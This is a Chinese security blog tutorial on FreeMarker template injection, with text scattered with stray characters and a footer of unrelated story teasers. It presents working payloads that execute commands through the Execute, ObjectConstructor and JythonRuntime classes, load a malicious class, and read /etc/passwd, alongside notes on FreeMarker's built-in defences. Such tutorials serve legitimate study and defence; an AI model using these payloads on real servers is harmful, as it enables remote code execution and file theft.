【代碼審計】模板注入

0x00 介紹

這里主要學(xué)習(xí)下 FreeMarker 模板注入何鸡,F(xiàn)reeMarker 是一款模板引擎骡男,F(xiàn)reeMarker 模板文件與 HTML 一樣都是靜態(tài)頁面,當(dāng)用戶訪問頁面時犹菱,F(xiàn)reeMarker 引擎會進(jìn)行解析并動態(tài)替換模板中的內(nèi)容進(jìn)行渲染已亥,然后將渲染后的結(jié)果返回到瀏覽器中来屠。

0x01 FreeMarker 模板

FreeMarker 模板語言(FreeMarker Template Language震鹉,F(xiàn)TL)由 4 個部分組成传趾,分別如下:

  • 文本:包括 HTML 標(biāo)簽與靜態(tài)文本等靜態(tài)內(nèi)容,該部分內(nèi)容會原樣輸出

  • 插值:這部分的輸出會被模板引擎計算的值來替換磕仅,使用 ${} 這種語法

  • 標(biāo)簽:和 HTML 標(biāo)簽類似簸呈,不會打印在輸出的內(nèi)容中蜕便,比如 <#assign name='bob'>

  • 注釋:和 HTML 注釋類似,由 <#-- 和 --> 表示两嘴,注釋部分的內(nèi)容會 FreeMarker 忽略

以下是一個 FreeMarker 模板內(nèi)容示例:

<html>
<head>
    <title>Welcome TeamsSix!</title>
</head>
<body> <#-- 這是注釋 -->
<h1>Welcome !</h1>
<p>Our latest product:
    <a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

0x02 模板注入利用

1憔辫、new 函數(shù)的利用

FreeMarker 中預(yù)制了大量了內(nèi)建函數(shù)仿荆,其中 new 函數(shù)可以創(chuàng)建一個繼承自 freemarker.template.TemplateModel 類的變量,利用這一點能達(dá)到執(zhí)行任意代碼的目的枉圃。

利用方法一:

freemarker.template.utility 里有個 Execute 類孽亲,通過觀察源代碼里的第 30 行可以看到這個類會調(diào)用 Runtime.getRuntime().exec 函數(shù)執(zhí)行它的 aExecute 變量參數(shù)值,因此這里可以使用 new 函數(shù)傳輸想要執(zhí)行的命令作為 aExecute 參數(shù)值玲昧,從而執(zhí)行命令篮绿。

freemarker.template.utility.Execute 部分文件代碼如下:

22 public Object exec(List arguments) throws TemplateModelException {
23    StringBuilder aOutputBuffer = new StringBuilder();
24    if (arguments.size() < 1) {
25        throw new TemplateModelException("Need an argument to execute");
26    } else {
27        String aExecute = (String)((String)arguments.get(0));
28
29        try {
30            Process exec = Runtime.getRuntime().exec(aExecute);
31            InputStream execOut = exec.getInputStream();
32            Throwable var6 = null;

構(gòu)造 payload 如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
image

利用方法二:

freemarker.template.utility 里有個 ObjectConstructor 類尘应,通過觀察源代碼里的第 25 行可以看到這個類會把它的參數(shù)作為名稱構(gòu)造一個實例化對象吼虎。

因此也可以利用這一點構(gòu)造一個可執(zhí)行命令的對象思灰,從而 RCE

freemarker.template.utility.ObjectConstructor 部分文件代碼如下:

17 public class ObjectConstructor implements TemplateMethodModelEx {
18     public ObjectConstructor() {
19     }
20 
21     public Object exec(List args) throws TemplateModelException {
22         if (args.isEmpty()) {
23             throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24         } else {
25             String classname = args.get(0).toString();
26             Class cl = null;
27 
28             try {
29                 cl = ClassUtil.forName(classname);
30             } catch (Exception var6) {
31                 throw new TemplateModelException(var6.getMessage());
32             }

構(gòu)造 Payload 如下:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}
image

利用方法三:

freemarker.template.utility 里有個 JythonRuntime 類洒疚,這里可以通過自定義標(biāo)簽的方式執(zhí)行 Python 命令油湖,從而構(gòu)造遠(yuǎn)程命令執(zhí)行。

freemarker.template.utility.JythonRuntime 部分文件代碼如下:

public class JythonRuntime extends PythonInterpreter
    implements TemplateTransformModel {
    @Override
    public Writer getWriter(final Writer out,
                            final Map args) {
        final StringBuilder buf = new StringBuilder();
        final Environment env = Environment.getCurrentEnvironment();
        return new Writer() {
            @Override
            public void write(char cbuf[], int off, int len) {
                buf.append(cbuf, off, len);
            }

            @Override
            public void flush() throws IOException {
                interpretBuffer();
                out.flush();
            }

            @Override
            public void close() {
                interpretBuffer();
            }

            private void interpretBuffer() {
                synchronized (JythonRuntime.this) {
                    PyObject prevOut = systemState.stdout;
                    try {
                        setOut(out);
                        set("env", env);
                        exec(buf.toString());
                        buf.setLength(0);
                    } finally {
                        setOut(prevOut);
                    }
                }
            }
        };
    }
}

構(gòu)造 Payload 如下:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>
image

2、api 函數(shù)的利用

除了 new 函數(shù)寂呛,還可以利用 api 函數(shù)調(diào)用 Java API贷痪,然后通過 getClassLoader 獲取類加載器從而加載惡意類蹦误,或者也可以通過 getResource 來實現(xiàn)任意文件讀取肉津。

加載惡意類的 Payload 如下:

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

任意文件讀取的 Payload 如下:

<#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]

不過 api 內(nèi)建函數(shù)并不能隨便使用妹沙,必須在配置項 apiBuiltinEnabled 為 true 時才有效熟吏,而該配置在 2.3.22 版本之后默認(rèn)為 false

同時 FreeMarker 為了防御通過其他方式調(diào)用惡意方法牵寺,F(xiàn)reeMarker 內(nèi)置了一份危險方法名單 unsafeMethods.properties,例如 getClassLoader趣斤、newInstance 等危險方法都被禁用了黎休。

參考文章:

https://www.anquanke.com/post/id/215348

https://www.cnblogs.com/Eleven-Liu/p/12747908.html

原文鏈接:

https://www.teamssix.com/211203-200441.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末势腮,一起剝皮案震驚了整個濱河市嫉鲸,隨后出現(xiàn)的幾起案子歹啼,更是在濱河造成了極大的恐慌狸眼,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件岁钓,死亡現(xiàn)場離奇詭異屡限,居然都是意外死亡炕倘,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進(jìn)店門啊央,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人逝撬,你說我怎么就攤上這事乓土。” “怎么了坎炼?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵谣光,是天一觀的道長芬为。 經(jīng)常有香客問我,道長氧敢,這世上最難降的妖魔是什么询张? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任份氧,我火速辦了婚禮蜗帜,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘蔬顾。我一直安慰自己湘捎,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著秩伞,像睡著了一般逞带。 火紅的嫁衣襯著肌膚如雪欺矫。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天展氓,我揣著相機(jī)與錄音穆趴,去河邊找鬼。 笑死遇汞,一個胖子當(dāng)著我的面吹牛未妹,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播空入,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼络它,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了化戳?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤埋凯,失蹤者是張志新(化名)和其女友劉穎点楼,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體白对,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡掠廓,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了甩恼。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片蟀瞧。...
    茶點故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖条摸,靈堂內(nèi)的尸體忽然破棺而出悦污,到底是詐尸還是另有隱情,我是刑警寧澤屈溉,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站抬探,受9級特大地震影響子巾,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜小压,卻給世界環(huán)境...
    茶點故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一线梗、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧怠益,春花似錦仪搔、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽偏陪。三九已至,卻和暖如春煮嫌,著一層夾襖步出監(jiān)牢的瞬間笛谦,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工昌阿, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留饥脑,地道東北人。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓懦冰,卻偏偏與公主長得像灶轰,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子刷钢,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容